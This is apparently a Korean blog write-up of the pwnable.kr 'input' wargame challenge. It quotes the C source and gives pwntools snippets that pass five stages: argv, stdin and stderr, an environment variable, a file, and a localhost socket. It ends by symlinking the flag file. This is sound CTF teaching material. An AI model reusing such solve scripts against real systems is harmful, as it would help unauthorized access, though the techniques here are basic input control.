[pwnable.kr] Toddler’s Bottle - input
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 |
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/socket.h> #include <arpa/inet.h>
int main(int argc, char* argv[], char* envp[]){ printf("Welcome to pwnable.kr\n"); printf("Let's see if you know how to give input to program\n"); printf("Just give me correct inputs then you will get the flag :)\n");
// argv if(argc != 100) return 0; if(strcmp(argv['A'],"\x00")) return 0; if(strcmp(argv['B'],"\x20\x0a\x0d")) return 0; printf("Stage 1 clear!\n");
// stdio char buf[4]; read(0, buf, 4); if(memcmp(buf, "\x00\x0a\x00\xff", 4)) return 0; read(2, buf, 4); if(memcmp(buf, "\x00\x0a\x02\xff", 4)) return 0; printf("Stage 2 clear!\n");
// env if(strcmp("\xca\xfe\xba\xbe", getenv("\xde\xad\xbe\xef"))) return 0; printf("Stage 3 clear!\n");
// file FILE* fp = fopen("\x0a", "r"); if(!fp) return 0; if( fread(buf, 4, 1, fp)!=1 ) return 0; if( memcmp(buf, "\x00\x00\x00\x00", 4) ) return 0; fclose(fp); printf("Stage 4 clear!\n");
// network int sd, cd; struct sockaddr_in saddr, caddr; sd = socket(AF_INET, SOCK_STREAM, 0); if(sd == -1){ printf("socket error, tell admin\n"); return 0; } saddr.sin_family = AF_INET; saddr.sin_addr.s_addr = INADDR_ANY; saddr.sin_port = htons( atoi(argv['C']) ); if(bind(sd, (struct sockaddr*)&saddr, sizeof(saddr)) < 0){ printf("bind error, use another port\n"); return 1; } listen(sd, 1); int c = sizeof(struct sockaddr_in); cd = accept(sd, (struct sockaddr *)&caddr, (socklen_t*)&c); if(cd < 0){ printf("accept error, tell admin\n"); return 0; } if( recv(cd, buf, 4, 0) != 4 ) return 0; if(memcmp(buf, "\xde\xad\xbe\xef", 4)) return 0; printf("Stage 5 clear!\n");
// here's your flag system("/bin/cat flag"); return 0; }
|
많은 input을 stage별로 각각 다 컨트롤 할 수 있는지 test하는 문제입니다.
일단 pwnable.kr의 /tmp에 자기 이름 폴더를 만들고 문제를 풀겠습니다.
code:
1 2 3 4 5 |
// argv if(argc != 100) return 0; if(strcmp(argv['A'],"\x00")) return 0; if(strcmp(argv['B'],"\x20\x0a\x0d")) return 0; printf("Stage 1 clear!\n"); |
Stage 1을 보면 argc와 argv를 잘 맞춰줘야 합니다.
pwntools에서 argv는 list를 써서 넣어줄 수 있습니다.
exploit:
1 2 3 4 5 6 |
#argvs = range(100) argvs = [str(i) for i in range(100)] argvs[ord('A')] = "\x00" argvs[ord('B')] = "\x20\x0a\x0d"
s = process(executable='/home/input2/input', argv=argvs) |
처음에는 range(100)로 만들었는데, process 함수에서 오류가 나서 전체가 다 문자로 이루어진 리스트를 만들었습니다.
그리고 process에서 executable에 공격할 파일 경로를 주고, argv에 넣을 인자 리스트를 줍니다.
Stage 1 clear!
code:
1 2 3 4 5 6 7 |
// stdio char buf[4]; read(0, buf, 4); if(memcmp(buf, "\x00\x0a\x00\xff", 4)) return 0; read(2, buf, 4); if(memcmp(buf, "\x00\x0a\x02\xff", 4)) return 0; printf("Stage 2 clear!\n"); |
Stage 2에서는 stdio를 컨트롤해야 합니다.
read 함수의 첫 번째 파라미터 0과 2는 각각 stdin, stderr를 가리킵니다.
그래서 stdin은 그냥 sendline 함수로 전달해줄 수 있고, stderr은 process 함수에서 사용할 stderr 파일을 새로 만들어서 그 파일의 fd를 넣어주면 됩니다. (원래 기본으로 2가 설정되어 있음.)
exploit:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 |
#stderr_file_fd = os.open('./stderr_file', os.O_RDWR|os.O_CREAT) #stderr_file_obj = os.fdopen(stderr_file_fd, 'w+') #stderr_file_obj.write("\x00\x0a\x02\xff") use os.fdopen()
#stderr_r, stderr_w = os.pipe() #os.write(stderr_w, "\x00\x0a\x02\xff") use os.pipe()
with open('./stderr_file', 'w+') as f: f.write("\x00\x0a\x02\xff")
stderr_file_fd = os.open('./stderr_file', os.O_RDWR|os.O_CREAT)
s = process(executable='/home/input2/input', argv=argvs, stderr=stderr_file_fd)
s.sendline("\x00\x0a\x00\xff") time.sleep(0.1) print s.recv()
os.close(stderr_file_fd) |
os와 time을 import 했습니다.
stdin은 sendline을 이용해서 처리했고, stderr은 os.fdopen()으로 파일 제어, os.pipe()를 이용한 통신 등을 이용해봤다.
Stage 2 clear!
code:
1 2 3 |
// env if(strcmp("\xca\xfe\xba\xbe", getenv("\xde\xad\xbe\xef"))) return 0; printf("Stage 3 clear!\n"); |
Stage3에서는 env를 컨트롤해야 합니다.
“\xde\xad\xbe\xef”의 이름의 환경 변수의 값이 “\xca\xfe\xba\xbe"여야 합니다.
pwntools에서 환경 변수는 딕셔너리를 이용해서 넣어주면 됩니다.
exploit:
1 2 3 |
env_var = { '\xde\xad\xbe\xef' : '\xca\xfe\xba\xbe' }
s = process(executable='/home/input2/input', argv=argvs, stderr=stderr_file_fd, env=env_var) |
딕셔너리를 만들고 env에 전달했습니다.
Stage 3 clear!
code:
1 2 3 4 5 6 7 |
// file FILE* fp = fopen("\x0a", "r"); if(!fp) return 0; if( fread(buf, 4, 1, fp)!=1 ) return 0; if( memcmp(buf, "\x00\x00\x00\x00", 4) ) return 0; fclose(fp); printf("Stage 4 clear!\n"); |
Stage 4에서는 file을 컨트롤해야 합니다.
“\x0a”라는 이름을 가진 파일의 내용이 “\x00\x00\x00\x00”이여야 합니다.
코드를 짜보도록 하겠습니다.
exploit:
1 2 |
with open('./\x0a', 'w+') as f: f.write("\x00\x00\x00\x00") |
파일을 만들고 값을 넣어줬습니다. with ~ as문이라서 close()를 따로 해줄 필요가 없습니다.
Stage 4 clear!
뒤에 bind error가 나오는데 Stage 5에 관련된 에러입니다. 한 번 보도록 하겠습니다.
code:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 |
// network int sd, cd; struct sockaddr_in saddr, caddr; sd = socket(AF_INET, SOCK_STREAM, 0); if(sd == -1){ printf("socket error, tell admin\n"); return 0; } saddr.sin_family = AF_INET; saddr.sin_addr.s_addr = INADDR_ANY; saddr.sin_port = htons( atoi(argv['C']) ); if(bind(sd, (struct sockaddr*)&saddr, sizeof(saddr)) < 0){ printf("bind error, use another port\n"); return 1; } listen(sd, 1); int c = sizeof(struct sockaddr_in); cd = accept(sd, (struct sockaddr *)&caddr, (socklen_t*)&c); if(cd < 0){ printf("accept error, tell admin\n"); return 0; } if( recv(cd, buf, 4, 0) != 4 ) return 0; if(memcmp(buf, "\xde\xad\xbe\xef", 4)) return 0; printf("Stage 5 clear!\n");
// here's your flag system("/bin/cat flag"); return 0; } |
Stage 5에서는 network를 컨트롤해야 합니다.
argv[‘C’]에 있는 값을 atoi()를 이용해서 숫자로 바꾼 뒤 포트 번호로 사용합니다.
그리고 4byte를 입력 받고 그 값이 “\xde\xad\xbe\xef”면 clear 할 수 있습니다.
아까 bind 에러가 떴으니 argv[‘C’]의 값을 바꿔줍시다.
포트 번호를 6666으로 바꾸고 실행해봅니다.
이제 에러가 뜨지 않습니다.
그럼 “\xde\xad\xbe\xef”를 전달해 줍니다.
1 2 |
stage5_socket = remote('localhost', 6666) stage5_socket.sendline("\xde\xad\xbe\xef") |
6666 포트에 연결하고 값을 전달해줬습니다.
Stage 5 clear!
다 clear 했습니다. 하지만 제 디렉터리에는 flag가 없기 때문에 값을 읽어올 수 없는데요. 심볼릭 링크를 걸도록 하겠습니다.
flag를 얻었습니다.
'System&Write up > Pwnable.kr' 카테고리의 다른 글
[pwnable.kr] Toddler's Bottle - asm (0) | 2018.01.31 |
---|---|
[pwnable.kr] Toddler's Bottle - uaf (0) | 2018.01.31 |
[pwnable.kr] Toddler's Bottle - leg (0) | 2018.01.15 |
[pwnable.kr] Toddler's Bottle - coin1 (2) | 2017.12.31 |
[pwnable.kr] Toddler's Bottle - cmd2 (0) | 2017.12.30 |